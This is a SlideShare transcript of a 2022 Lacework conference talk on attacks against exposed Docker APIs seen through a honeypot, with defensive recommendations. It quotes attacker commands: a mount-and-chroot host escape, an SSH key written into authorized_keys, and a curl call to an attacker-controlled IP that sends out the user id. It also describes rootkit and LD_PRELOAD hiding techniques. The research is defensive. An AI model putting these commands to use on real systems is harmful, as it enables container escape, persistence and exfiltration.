MA
Uploaded byMITRE ATT&CK
PDF, PPTX794 views

ATT&CKING Containers in The Cloud

The document discusses emerging threats and attack methods targeting container workloads in cloud environments, emphasizing the shift toward such technologies and associated risks. It highlights various attack techniques, including exploitation of misconfigurations and deployment of rogue images, and describes the development and use of honeypots for gathering attack data. Recommendations for securing cloud-native environments include limiting exposure through access controls, enforcing signed container deployments, and implementing proactive defenses like honey tokens.

Embed presentation

Download as PDF, PPTX
ATT&CKing Containers in The Cloud Jared Stroud (@DLL_Cool_J) © 2022, Lacework Inc. All Rights Reserved.
© 2022, Lacework Inc. All Rights Reserved. 2 ● Jared Stroud ● Currently: Cloud Security Researcher @ Lacework ● Former: MITRE Security Engineer ○ ATT&CK EVALS Carbanak/Fin7 ○ CALDERA ● Presented at: ○ SANS Blue Team Summit - Lightning Talk ○ DEFCON - Packet Hacking Village ○ Interpol DFEG ○ Shmoocon - Fire Talk ○ DFRWS - EU ○ BSides Roc $> whoami Lacework Labs is the dedicated research team at Lacework. We decided to build with a focus on areas that we believe are not getting enough attention in the research community specifically around new threats and attack surface risks within the public cloud. Like any good research team, we use a combination of data-driven intelligence creation and our own expertise in the key areas we focus on.
© 2022, Lacework Inc. All Rights Reserved. Agenda 3 The Shift to Container Workloads Honeypots Analyze The Data Container Focused Defenses
© 2022, Lacework Inc. All Rights Reserved. Shifting to Container Workloads ● Enterprise continues to adopt container workloads. ○ This “shift left” mentality provides business advantages to get products to end-users faster. ● Adversaries have noticed, and have targeted misconfigurations around the container ecosystem, including: ○ T1190 - Code repositories CI/CD pipelines ■ Ex: Gitlab ○ T1538 - Cloud Service Dashboards ○ T1552.007 - Exposed APIs for Containers. ● Lacework Labs has observed the introduction of “rogue images” into environments via: ○ T1610 - Deploying a container. ○ T1608 - Stage malicious container on Docker Hub. 4
© 2022, Lacework Inc. All Rights Reserved. Collecting Cloud Attack Data - Honeypots ● Honeypots ○ Emulate a service to a specific level of fidelity so an attacker throws an exploit/payload for collection. ● Consider the level of emulation fidelity you need. ○ Anecdotal example, having a simple netcat listener on port 9200 for Elasticsearch has caught the same payloads as Elasticsearch honeypots that actually do a level of service emulation. ○ Consider the adversary you’re looking to catch data from ■ Opportunistic vs Targeted 5
© 2022, Lacework Inc. All Rights Reserved. Building Whalehoney - A Docker Honeypot ● At the time of architecting our honeypot infrastructure, not many solutions existed for Docker that weren’t heavily tied to a particular database. ● Engineers at Lacework Labs developed a simple Python Flask based application to emulate the Docker API based on the available documentation on the Docker engine. 6
© 2022, Lacework Inc. All Rights Reserved. Quick Whalehoney Stats ● 244 unique payloads targeting the “api_container_create” endpoint ○ 24 payloads setting “privileged:true” ● 3 external SAAS services observed being used in attacks ● Docker Hub, Ngrok, Weaveworks’ Scope ○ Ngrok being leveraged in 146 payloads. 7
© 2022, Lacework Inc. All Rights Reserved. Typical Observed Execution Killchain 8
© 2022, Lacework Inc. All Rights Reserved. Deploy Container (T1610) & Escape to Host (T1611) ● Deploy container: achieved via exposed API ● Escape to Host: achieved via mounting host’s “/” to container’s “/mnt” and chrooting 9
T1611 - From Container → Host Pivot mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload
mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload T1059.004 - Post-compromise Payloads - Shell Script Dropper
mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload Post-compromise Payloads - Rootkits, Cryptominers, and ssh keys
© 2022, Lacework Inc. All Rights Reserved. Notable Execution of Initial Payload (cronb.sh) ● ~1500 line bash script (T1059.004) to deploy additional utilities including: ● Kill potential cryptocurrency miners on host. ● Deploys their own XMRig Cryptocurrency miner ● Observed TTPs: ○ Kills Alibaba (CloudMonitor/Aliyun) cloud monitoring agent (T1562.001) ○ Deploys SSH key for continued access (T1098.004) ○ Deploys .so’s for LD_PRELOAD attacks (T1574.006) ○ Deploys Diamorphine Rootkit for hiding access (T1014) ○ Naming ELF payloads to <file_name>.jpg when downloading (T1036) ● Deploying C2 Agent (ZiggyStartgux/Katien/Tsunami - IRC Bot) ● curl <attacker_controlled_ip>/idcheck/$(id) (obtain user id) 13
https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c Ghidra Pseudo C of Shared Objects grabbed by Docker bash script ● T1574.006 - Hijack Execution Flow: Dynamic Linker/Hijacking ○ Used for persistence/defense evasion ● Attack script wgets tar file of shared objects to be placed in /usr/local/lib and put in ld.so.preload. Notable Execution of Initial Payload (cronb.sh)
● Rootkit (T1014) Features include: ● When loaded, the module starts invisible. ● Hide/unhide any process by sending a signal 31. ● Sending a signal 63(to any pid) makes the module become (in)visible. ● Sending a signal 64(to any pid) makes the given user become root. ● Files or directories starting with the MAGIC_PREFIX become invisible. ● Diamorphine is built on the victim machine, and has the MAGIC_PREFIX unchanged. https://github.com/m0nad/Diamorphine/blob/master/diamorphine.h diamorphine.h from attacker’s payload Defense Evasion/Persistence - Diamorphine Rootkit
echo ssh key to /root/.ssh/authorized_keys Exposed API Port (2375) Attacker’s payload ● cmd": ["sh", "-c", "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIdl8SFK8a6 VAjM6i8AAUtpl15<snippet>' >> /opt/root/.ssh/authorized_keys] T1189 - Drive by Compromise (SSH Key Dropping)
… "cmd":["--probe.docker=true","--service-token=<REDACTED>"], "Image":"weaveworks/scope:1.13.2" …. T1133 - External Remote Services (Weaveworks Scope)
● Lacework Labs has observed multiple adversaries leveraging Docker Hub as a staging ground. T1608 - Staging Capabilities (Docker Hub)
● Ngrok - legitimate utility for proxying local connections to public facing services (T1090). ○ Target users are developers that want to expose something locally on the internet. ○ Think of it as reverse ssh tunnels-as-a-service ● How adversaries abuse it: ○ Hosting payloads behind ngrok. ■ Free tier/paid tiers exist. ○ Avoids having to setup infrastructure beyond a VM. T1608 - Staging Capabilities (T1608) Ngrok
mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload Stopping The Compromise! Don’t expose the Docker Socket!
© 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Docker Content Trust (DCT) ● Leverage Docker Content Trust (DCT) to enforce digital signatures for runtime verification of images in your environment. ○ Prevent non-signed images from running. ○ Caveat, DCT is enabled/disabled via an environment variable. ● Docker Notary ○ Built around The Update Framework ● Does introduce additional management overhead of handling signing keys/revocations/etc… Reference: https://docs.docker.com/engine/security/trust/ 21
© 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Securing Kubernetes Deployments ● Prevent accidental exposure of management dashboards! ○ Including 3rd party integrations (Argo/Gitlab/etc…) ● Open Policy Agent (OPA) Enforcement! ○ Admission controller to prevent privileged pods or unnecessary capabilities being paired with deployments in given namespaces. ○ Ex: prevent CAP_SYS_ADMIN from being set on a deployment. ● Deploy Signed Containers ○ GCP’s GKE - Binary Authorization ■ Ensure deployed workloads have been signed. ○ AWS EKS Image signing is on their road map according to documentation ■ https://aws.github.io/aws-eks-best-practices/security/docs/image/ 22
© 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Exploring Runtime Protection Options ● Profile and limit syscalls you application makes! ○ Runtime syscall allow-listing via seccomp ● Can be tricky to tune, but greatly reduces surface in the event of an application compromise. Reference: https://www.lacework.com/blog/sand-honey-building-honeypots/ 23
© 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Honey Tokens in Cloud Native Environments ● What about non-opportunistic attackers? ○ Targeting resource specific services ○ Ex: Managed DBs, Container Registries, etc… ● Proactive Defenses via “honey tokens” around specific cloud native resources ○ Ex: Container Registry with beta-database-secrets- test Reference: https://www.lacework.com/blog/diy-canary-tokens-in-aws 24
Docker Honeypot - Whalehoney https://www.github.com/lacework-dev/whalehoney-PUBLIC Tool Release! Whalehoney, simple API emulation
© 2022, Lacework Inc. All Rights Reserved. 26 Recap Observed ATT&CKs T1610/T1611 - Deploy containers and escape to host. T1059.004 - Post-compromise payloads (Shell Script) T1562.001 - Impairing Defenses T1098.004 - Deploying ssh keys for persistence T1574.006/T10014 - LD_Preload/KOs for hijacking execution flow Defending In the Cloud Limit attack surface exposure (ingress/egress ACLs) Enforce signed container image deployments Implement Security Policies to API call Possibilities OPA for security policy enforcement of Kubernetes Proactive Defense via Honey Tokens
Thank you. IF YOU HAVE QUESTIONS, PLEASE GET IN TOUCH WITH laceworklabs@lacework.com © 2022, Lacework Inc. All Rights Reserved.

More Related Content

PDF
Threat Modelling - It's not just for developers
byMITRE ATT&CK
 
PDF
Mapping ATT&CK Techniques to ENGAGE Activities
byMITRE ATT&CK
 
PDF
When Insiders ATT&CK!
byMITRE ATT&CK
 
PDF
Would you Rather Have Telemetry into 2 Attacks or 20? An Insight Into Highly ...
byMITRE ATT&CK
 
PDF
What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red Team
byMITRE ATT&CK
 
PDF
Tracking Noisy Behavior and Risk-Based Alerting with ATT&CK
byMITRE ATT&CK
 
PDF
The ATT&CK Latin American APT Playbook
byMITRE ATT&CK
 
PDF
State of the ATT&CK
byMITRE ATT&CK
 
Threat Modelling - It's not just for developers
byMITRE ATT&CK
 
Mapping ATT&CK Techniques to ENGAGE Activities
byMITRE ATT&CK
 
When Insiders ATT&CK!
byMITRE ATT&CK
 
Would you Rather Have Telemetry into 2 Attacks or 20? An Insight Into Highly ...
byMITRE ATT&CK
 
What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red Team
byMITRE ATT&CK
 
Tracking Noisy Behavior and Risk-Based Alerting with ATT&CK
byMITRE ATT&CK
 
The ATT&CK Latin American APT Playbook
byMITRE ATT&CK
 
State of the ATT&CK
byMITRE ATT&CK
 

What's hot

PDF
Exploring how Students Map Social Engineering Techniques to the ATT&CK Framew...
byMITRE ATT&CK
 
PDF
ATT&CK Updates- ATT&CK's Open Source
byMITRE ATT&CK
 
PDF
ATT&CK Updates- Defensive ATT&CK
byMITRE ATT&CK
 
PDF
Intelligence Failures of Lincolns Top Spies: What CTI Analysts Can Learn Fro...
byMITRE ATT&CK
 
PDF
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...
byMITRE ATT&CK
 
PDF
ATT&CK Updates- ATT&CK for ICS
byMITRE ATT&CK
 
PDF
ATT&CKing the Red/Blue Divide
byMITRE ATT&CK
 
PDF
It's just a jump to the left (of boom): Prioritizing detection implementation...
byMITRE ATT&CK
 
PDF
Projects to Impact- Operationalizing Work from the Center
byMITRE ATT&CK
 
PDF
The ATT&CK Philharmonic
byMITRE ATT&CK
 
PDF
ATT&CK Metaverse - Exploring the Limitations of Applying ATT&CK
byMITRE ATT&CK
 
PPTX
Putting MITRE ATT&CK into Action with What You Have, Where You Are
byKatie Nickels
 
PDF
ATT&CKcon Intro
byMITRE ATT&CK
 
PDF
How MITRE ATT&CK helps security operations
bySergey Soldatov
 
PDF
MITRE ATT&CK Framework
byn|u - The Open Security Community
 
PPTX
Adversary Emulation using CALDERA
byErik Van Buggenhout
 
PDF
MITRE ATT&CKcon 2.0: Prioritizing ATT&CK Informed Defenses the CIS Way; Phili...
byMITRE - ATT&CKcon
 
PPTX
Effective Threat Hunting with Tactical Threat Intelligence
byDhruv Majumdar
 
PDF
Windows Threat Hunting
byGIBIN JOHN
 
PDF
Evaluating and Enhancing Security Maturity through MITRE ATT&CK Mapping
byMITRE ATT&CK
 
Exploring how Students Map Social Engineering Techniques to the ATT&CK Framew...
byMITRE ATT&CK
 
ATT&CK Updates- ATT&CK's Open Source
byMITRE ATT&CK
 
ATT&CK Updates- Defensive ATT&CK
byMITRE ATT&CK
 
Intelligence Failures of Lincolns Top Spies: What CTI Analysts Can Learn Fro...
byMITRE ATT&CK
 
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...
byMITRE ATT&CK
 
ATT&CK Updates- ATT&CK for ICS
byMITRE ATT&CK
 
ATT&CKing the Red/Blue Divide
byMITRE ATT&CK
 
It's just a jump to the left (of boom): Prioritizing detection implementation...
byMITRE ATT&CK
 
Projects to Impact- Operationalizing Work from the Center
byMITRE ATT&CK
 
The ATT&CK Philharmonic
byMITRE ATT&CK
 
ATT&CK Metaverse - Exploring the Limitations of Applying ATT&CK
byMITRE ATT&CK
 
Putting MITRE ATT&CK into Action with What You Have, Where You Are
byKatie Nickels
 
ATT&CKcon Intro
byMITRE ATT&CK
 
How MITRE ATT&CK helps security operations
bySergey Soldatov
 
MITRE ATT&CK Framework
byn|u - The Open Security Community
 
Adversary Emulation using CALDERA
byErik Van Buggenhout
 
MITRE ATT&CKcon 2.0: Prioritizing ATT&CK Informed Defenses the CIS Way; Phili...
byMITRE - ATT&CKcon
 
Effective Threat Hunting with Tactical Threat Intelligence
byDhruv Majumdar
 
Windows Threat Hunting
byGIBIN JOHN
 
Evaluating and Enhancing Security Maturity through MITRE ATT&CK Mapping
byMITRE ATT&CK
 

Similar to ATT&CKING Containers in The Cloud

PDF
Security Patterns for Microservice Architectures - SpringOne 2020
byMatt Raible
 
PDF
Security Patterns for Microservice Architectures
byVMware Tanzu
 
PDF
Top 10 Threats to Cloud Security
bySBWebinars
 
PDF
Security Patterns for Microservice Architectures - Oktane20
byMatt Raible
 
PDF
Security Patterns for Microservice Architectures - London Java Community 2020
byMatt Raible
 
PDF
The Future of Security and Productivity in Our Newly Remote World
byDevOps.com
 
PPTX
Docker Security Overview
bySreenivas Makam
 
PDF
DevSecOps Meetup - Secure your Containers (kubernetes, docker, amazon ECS)Con...
byraksac
 
PDF
How Secure Is Your Container? ContainerCon Berlin 2016
byPhil Estes
 
PDF
Security Patterns for Microservice Architectures - ADTMag Microservices & API...
byMatt Raible
 
PDF
Containers At-Risk A Review of 21,000 Cloud Environments
byLacework
 
PDF
Containers at risk a review of 21,000 cloud environments
bydhubbard858
 
PDF
5GCroCo_DockerSecurityBasics_Training.pdf
byMaghsoudAbbasPour1
 
PDF
How abusing the Docker API led to remote code execution same origin bypass an...
byAqua Security
 
PDF
Docker security: Rolling out Trust in your container
byRonak Kogta
 
PDF
Containers, docker, and security: state of the union (Bay Area Infracoders Me...
byJérôme Petazzoni
 
PDF
Hacking into your containers, and how to stop it!
byEric Smalling
 
PDF
Docker London: Container Security
byPhil Estes
 
PDF
Veer's Container Security
byJim Barlow
 
PDF
DevSecCon Lightning 2021- Container defaults are a hackers best friend
byEric Smalling
 
Security Patterns for Microservice Architectures - SpringOne 2020
byMatt Raible
 
Security Patterns for Microservice Architectures
byVMware Tanzu
 
Top 10 Threats to Cloud Security
bySBWebinars
 
Security Patterns for Microservice Architectures - Oktane20
byMatt Raible
 
Security Patterns for Microservice Architectures - London Java Community 2020
byMatt Raible
 
The Future of Security and Productivity in Our Newly Remote World
byDevOps.com
 
Docker Security Overview
bySreenivas Makam
 
DevSecOps Meetup - Secure your Containers (kubernetes, docker, amazon ECS)Con...
byraksac
 
How Secure Is Your Container? ContainerCon Berlin 2016
byPhil Estes
 
Security Patterns for Microservice Architectures - ADTMag Microservices & API...
byMatt Raible
 
Containers At-Risk A Review of 21,000 Cloud Environments
byLacework
 
Containers at risk a review of 21,000 cloud environments
bydhubbard858
 
5GCroCo_DockerSecurityBasics_Training.pdf
byMaghsoudAbbasPour1
 
How abusing the Docker API led to remote code execution same origin bypass an...
byAqua Security
 
Docker security: Rolling out Trust in your container
byRonak Kogta
 
Containers, docker, and security: state of the union (Bay Area Infracoders Me...
byJérôme Petazzoni
 
Hacking into your containers, and how to stop it!
byEric Smalling
 
Docker London: Container Security
byPhil Estes
 
Veer's Container Security
byJim Barlow
 
DevSecCon Lightning 2021- Container defaults are a hackers best friend
byEric Smalling
 

More from MITRE ATT&CK

PDF
Next-Gen Threat-Informed Defense: Human-Assisted Intelligent Agents - Rajesh ...
byMITRE ATT&CK
 
PDF
Birds of a Feather: The Evolution of Threat Actor Prioritization, Gap Analysi...
byMITRE ATT&CK
 
PDF
Using ATT&CK and MITRE CTID’s StP Frameworks to Assess Threat Detection Resil...
byMITRE ATT&CK
 
PDF
Bridging the Gap: Enhancing Detection Coverage with Atomic Red Team, Sigma, a...
byMITRE ATT&CK
 
PDF
SaaSy ATT&CK – Practical ATT&CK usage for SaaS-based Telemetry - Aaron Shelmire
byMITRE ATT&CK
 
PDF
I'll take ATT&CK techniques that can be done for $1000, Alex. - Ben Langrill
byMITRE ATT&CK
 
PDF
Practical Application of MITRE ATT&CK: Real World Usage in a Corporate Enviro...
byMITRE ATT&CK
 
PDF
This is why we don’t shout “Bingo”: Analyzing ATT&CK Integration in Endpoint ...
byMITRE ATT&CK
 
PDF
Every Cloud Has a Purple Lining - Arun Seelagan
byMITRE ATT&CK
 
PDF
Confession: 3 Things I Wish I Knew About MITRE ATT&CK When I Was an FBI Profi...
byMITRE ATT&CK
 
PDF
ATT&CKcon 5.0 Keynote - From Ticket Closers to Practitioners- How Great Secu...
byMITRE ATT&CK
 
PDF
ATT&CKcon 5.0 Lightning Talks - Various Speakers
byMITRE ATT&CK
 
PDF
MITRE ATT&CK Updates: Defensive ATT&CK - Lex Crumpton
byMITRE ATT&CK
 
PDF
MITRE ATT&CK Updates: Enterprise - Casey Knerr
byMITRE ATT&CK
 
PDF
MITRE ATT&CK Updates: CTI - Path Forward - Joe Slowik
byMITRE ATT&CK
 
PDF
MITRE ATT&CK Updates: Software - Jared Ondricek
byMITRE ATT&CK
 
PDF
State of the ATT&CK 2024 - Adam Pennington
byMITRE ATT&CK
 
PDF
Sources of ATT&CK: A Bibliographic Journey through Enterprise ATT&CK - Robert...
byMITRE ATT&CK
 
PDF
Updates from The Center for Threat Informed Defense - Jon Baker
byMITRE ATT&CK
 
PDF
Go Go Ransom Rangers: Diving into Akira’s Linux Variant with ATT&CK - Nicole ...
byMITRE ATT&CK
 
Next-Gen Threat-Informed Defense: Human-Assisted Intelligent Agents - Rajesh ...
byMITRE ATT&CK
 
Birds of a Feather: The Evolution of Threat Actor Prioritization, Gap Analysi...
byMITRE ATT&CK
 
Using ATT&CK and MITRE CTID’s StP Frameworks to Assess Threat Detection Resil...
byMITRE ATT&CK
 
Bridging the Gap: Enhancing Detection Coverage with Atomic Red Team, Sigma, a...
byMITRE ATT&CK
 
SaaSy ATT&CK – Practical ATT&CK usage for SaaS-based Telemetry - Aaron Shelmire
byMITRE ATT&CK
 
I'll take ATT&CK techniques that can be done for $1000, Alex. - Ben Langrill
byMITRE ATT&CK
 
Practical Application of MITRE ATT&CK: Real World Usage in a Corporate Enviro...
byMITRE ATT&CK
 
This is why we don’t shout “Bingo”: Analyzing ATT&CK Integration in Endpoint ...
byMITRE ATT&CK
 
Every Cloud Has a Purple Lining - Arun Seelagan
byMITRE ATT&CK
 
Confession: 3 Things I Wish I Knew About MITRE ATT&CK When I Was an FBI Profi...
byMITRE ATT&CK
 
ATT&CKcon 5.0 Keynote - From Ticket Closers to Practitioners- How Great Secu...
byMITRE ATT&CK
 
ATT&CKcon 5.0 Lightning Talks - Various Speakers
byMITRE ATT&CK
 
MITRE ATT&CK Updates: Defensive ATT&CK - Lex Crumpton
byMITRE ATT&CK
 
MITRE ATT&CK Updates: Enterprise - Casey Knerr
byMITRE ATT&CK
 
MITRE ATT&CK Updates: CTI - Path Forward - Joe Slowik
byMITRE ATT&CK
 
MITRE ATT&CK Updates: Software - Jared Ondricek
byMITRE ATT&CK
 
State of the ATT&CK 2024 - Adam Pennington
byMITRE ATT&CK
 
Sources of ATT&CK: A Bibliographic Journey through Enterprise ATT&CK - Robert...
byMITRE ATT&CK
 
Updates from The Center for Threat Informed Defense - Jon Baker
byMITRE ATT&CK
 
Go Go Ransom Rangers: Diving into Akira’s Linux Variant with ATT&CK - Nicole ...
byMITRE ATT&CK
 

Recently uploaded

PDF
What ONIX can do: Leveraging metadata to support the discoverability of First...
byBookNet Canada
 
PPTX
Driving Smarter Decisions with Oracle Analytics Cloud Consulting
byChetu
 
PDF
Introduction to Linux and Basic Commands
byiDev Semarang
 
PDF
Getting the Best of TrueDEM – January News & Updates
bypanagenda
 
PPTX
Advance Computer Architecture Lecture 4.pptx
byBottshikanBottshikan
 
PPTX
Apache Kafka 101 for Techies in IT dep.pptx
byamulyareddyk97
 
PDF
apidays Australia 2025 | User Brainpower vs. AI Blind Spots in API Docs
byapidays
 
PPTX
Achieve enterprise automation with SAP BTP solutions and SAP Signavio
bydarrellkiwi
 
PDF
How the EU Ecolabel's Record Growth Creates ESG Opportunities for CRE
byWastify AI
 
PPTX
Code Like Bro -A guide for better Coding
byMadan Panthi
 
PPTX
API Gateway Architecture - Technical Report 2026
byPowersoft2026
 
PDF
apidays Australia 2025 | The Strategic Role of APIs in Digital Transformation
byapidays
 
PPTX
Spacecraft Guidance Quick Research Guide by Arthur Morgan
byArthur Morgan
 
DOCX
Best Web to Learn About Buying Verified Skrill Accounts (Los Angeles).docx
byhttps://topsellerit.com/product/buy-verified-binance-accounts/
 
PPTX
AI and Digital Transformation Solutions.
byBuildingblocks
 
PDF
Teaching Robots how to Read 1/2: AI Center & Classic Document Understanding (...
byanabulhac
 
PDF
Agentic AI Roadmap 2026: Mastering Autonomous AI Workflows and Systems
byAeafat Ahmed Mubin
 
PDF
10 Best AI Tools for Fashion Brands in 2026
bymockitseo
 
PDF
MINDCTI Revenue Release Quarter 3 2025 - Financial Presentation
byMIND CTI
 
PPTX
apidays Australia 2025 | Building AI RAG Applications with No Code.pptx
byapidays
 
What ONIX can do: Leveraging metadata to support the discoverability of First...
byBookNet Canada
 
Driving Smarter Decisions with Oracle Analytics Cloud Consulting
byChetu
 
Introduction to Linux and Basic Commands
byiDev Semarang
 
Getting the Best of TrueDEM – January News & Updates
bypanagenda
 
Advance Computer Architecture Lecture 4.pptx
byBottshikanBottshikan
 
Apache Kafka 101 for Techies in IT dep.pptx
byamulyareddyk97
 
apidays Australia 2025 | User Brainpower vs. AI Blind Spots in API Docs
byapidays
 
Achieve enterprise automation with SAP BTP solutions and SAP Signavio
bydarrellkiwi
 
How the EU Ecolabel's Record Growth Creates ESG Opportunities for CRE
byWastify AI
 
Code Like Bro -A guide for better Coding
byMadan Panthi
 
API Gateway Architecture - Technical Report 2026
byPowersoft2026
 
apidays Australia 2025 | The Strategic Role of APIs in Digital Transformation
byapidays
 
Spacecraft Guidance Quick Research Guide by Arthur Morgan
byArthur Morgan
 
Best Web to Learn About Buying Verified Skrill Accounts (Los Angeles).docx
byhttps://topsellerit.com/product/buy-verified-binance-accounts/
 
AI and Digital Transformation Solutions.
byBuildingblocks
 
Teaching Robots how to Read 1/2: AI Center & Classic Document Understanding (...
byanabulhac
 
Agentic AI Roadmap 2026: Mastering Autonomous AI Workflows and Systems
byAeafat Ahmed Mubin
 
10 Best AI Tools for Fashion Brands in 2026
bymockitseo
 
MINDCTI Revenue Release Quarter 3 2025 - Financial Presentation
byMIND CTI
 
apidays Australia 2025 | Building AI RAG Applications with No Code.pptx
byapidays
 

ATT&CKING Containers in The Cloud

  • 1.
    ATT&CKing Containers in The Cloud JaredStroud (@DLL_Cool_J) © 2022, Lacework Inc. All Rights Reserved.
  • 2.
    © 2022, Lacework Inc. All Rights Reserved. 2 ● JaredStroud ● Currently: Cloud Security Researcher @ Lacework ● Former: MITRE Security Engineer ○ ATT&CK EVALS Carbanak/Fin7 ○ CALDERA ● Presented at: ○ SANS Blue Team Summit - Lightning Talk ○ DEFCON - Packet Hacking Village ○ Interpol DFEG ○ Shmoocon - Fire Talk ○ DFRWS - EU ○ BSides Roc $> whoami Lacework Labs is the dedicated research team at Lacework. We decided to build with a focus on areas that we believe are not getting enough attention in the research community specifically around new threats and attack surface risks within the public cloud. Like any good research team, we use a combination of data-driven intelligence creation and our own expertise in the key areas we focus on.
  • 3.
    © 2022, Lacework Inc. All Rights Reserved. Agenda 3 The Shift to ContainerWorkloads Honeypots Analyze The Data Container Focused Defenses
  • 4.
    © 2022, Lacework Inc. All Rights Reserved. Shifting to ContainerWorkloads ● Enterprise continues to adopt container workloads. ○ This “shift left” mentality provides business advantages to get products to end-users faster. ● Adversaries have noticed, and have targeted misconfigurations around the container ecosystem, including: ○ T1190 - Code repositories CI/CD pipelines ■ Ex: Gitlab ○ T1538 - Cloud Service Dashboards ○ T1552.007 - Exposed APIs for Containers. ● Lacework Labs has observed the introduction of “rogue images” into environments via: ○ T1610 - Deploying a container. ○ T1608 - Stage malicious container on Docker Hub. 4
  • 5.
    © 2022, Lacework Inc. All Rights Reserved. Collecting Cloud AttackData - Honeypots ● Honeypots ○ Emulate a service to a specific level of fidelity so an attacker throws an exploit/payload for collection. ● Consider the level of emulation fidelity you need. ○ Anecdotal example, having a simple netcat listener on port 9200 for Elasticsearch has caught the same payloads as Elasticsearch honeypots that actually do a level of service emulation. ○ Consider the adversary you’re looking to catch data from ■ Opportunistic vs Targeted 5
  • 6.
    © 2022, Lacework Inc. All Rights Reserved. Building Whalehoney -A Docker Honeypot ● At the time of architecting our honeypot infrastructure, not many solutions existed for Docker that weren’t heavily tied to a particular database. ● Engineers at Lacework Labs developed a simple Python Flask based application to emulate the Docker API based on the available documentation on the Docker engine. 6
  • 7.
    © 2022, Lacework Inc. All Rights Reserved. Quick Whalehoney Stats ●244 unique payloads targeting the “api_container_create” endpoint ○ 24 payloads setting “privileged:true” ● 3 external SAAS services observed being used in attacks ● Docker Hub, Ngrok, Weaveworks’ Scope ○ Ngrok being leveraged in 146 payloads. 7
  • 8.
  • 9.
    © 2022, Lacework Inc. All Rights Reserved. Deploy Container (T1610)& Escape to Host (T1611) ● Deploy container: achieved via exposed API ● Escape to Host: achieved via mounting host’s “/” to container’s “/mnt” and chrooting 9
  • 10.
    T1611 - FromContainer → Host Pivot mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload
  • 11.
    mount /:/mnt &&chroot /mnt Exposed API Port (2375) Attacker’s payload T1059.004 - Post-compromise Payloads - Shell Script Dropper
  • 12.
    mount /:/mnt &&chroot /mnt Exposed API Port (2375) Attacker’s payload Post-compromise Payloads - Rootkits, Cryptominers, and ssh keys
  • 13.
    © 2022, Lacework Inc. All Rights Reserved. Notable Execution ofInitial Payload (cronb.sh) ● ~1500 line bash script (T1059.004) to deploy additional utilities including: ● Kill potential cryptocurrency miners on host. ● Deploys their own XMRig Cryptocurrency miner ● Observed TTPs: ○ Kills Alibaba (CloudMonitor/Aliyun) cloud monitoring agent (T1562.001) ○ Deploys SSH key for continued access (T1098.004) ○ Deploys .so’s for LD_PRELOAD attacks (T1574.006) ○ Deploys Diamorphine Rootkit for hiding access (T1014) ○ Naming ELF payloads to <file_name>.jpg when downloading (T1036) ● Deploying C2 Agent (ZiggyStartgux/Katien/Tsunami - IRC Bot) ● curl <attacker_controlled_ip>/idcheck/$(id) (obtain user id) 13
  • 14.
    https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c Ghidra Pseudo Cof Shared Objects grabbed by Docker bash script ● T1574.006 - Hijack Execution Flow: Dynamic Linker/Hijacking ○ Used for persistence/defense evasion ● Attack script wgets tar file of shared objects to be placed in /usr/local/lib and put in ld.so.preload. Notable Execution of Initial Payload (cronb.sh)
  • 15.
    ● Rootkit (T1014)Features include: ● When loaded, the module starts invisible. ● Hide/unhide any process by sending a signal 31. ● Sending a signal 63(to any pid) makes the module become (in)visible. ● Sending a signal 64(to any pid) makes the given user become root. ● Files or directories starting with the MAGIC_PREFIX become invisible. ● Diamorphine is built on the victim machine, and has the MAGIC_PREFIX unchanged. https://github.com/m0nad/Diamorphine/blob/master/diamorphine.h diamorphine.h from attacker’s payload Defense Evasion/Persistence - Diamorphine Rootkit
  • 16.
    echo ssh keyto /root/.ssh/authorized_keys Exposed API Port (2375) Attacker’s payload ● cmd": ["sh", "-c", "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIdl8SFK8a6 VAjM6i8AAUtpl15<snippet>' >> /opt/root/.ssh/authorized_keys] T1189 - Drive by Compromise (SSH Key Dropping)
  • 17.
  • 18.
    ● Lacework Labshas observed multiple adversaries leveraging Docker Hub as a staging ground. T1608 - Staging Capabilities (Docker Hub)
  • 19.
    ● Ngrok -legitimate utility for proxying local connections to public facing services (T1090). ○ Target users are developers that want to expose something locally on the internet. ○ Think of it as reverse ssh tunnels-as-a-service ● How adversaries abuse it: ○ Hosting payloads behind ngrok. ■ Free tier/paid tiers exist. ○ Avoids having to setup infrastructure beyond a VM. T1608 - Staging Capabilities (T1608) Ngrok
  • 20.
    mount /:/mnt &&chroot /mnt Exposed API Port (2375) Attacker’s payload Stopping The Compromise! Don’t expose the Docker Socket!
  • 21.
    © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs &Limiting exposed container APIs Docker Content Trust (DCT) ● Leverage Docker Content Trust (DCT) to enforce digital signatures for runtime verification of images in your environment. ○ Prevent non-signed images from running. ○ Caveat, DCT is enabled/disabled via an environment variable. ● Docker Notary ○ Built around The Update Framework ● Does introduce additional management overhead of handling signing keys/revocations/etc… Reference: https://docs.docker.com/engine/security/trust/ 21
  • 22.
    © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs &Limiting exposed container APIs Securing Kubernetes Deployments ● Prevent accidental exposure of management dashboards! ○ Including 3rd party integrations (Argo/Gitlab/etc…) ● Open Policy Agent (OPA) Enforcement! ○ Admission controller to prevent privileged pods or unnecessary capabilities being paired with deployments in given namespaces. ○ Ex: prevent CAP_SYS_ADMIN from being set on a deployment. ● Deploy Signed Containers ○ GCP’s GKE - Binary Authorization ■ Ensure deployed workloads have been signed. ○ AWS EKS Image signing is on their road map according to documentation ■ https://aws.github.io/aws-eks-best-practices/security/docs/image/ 22
  • 23.
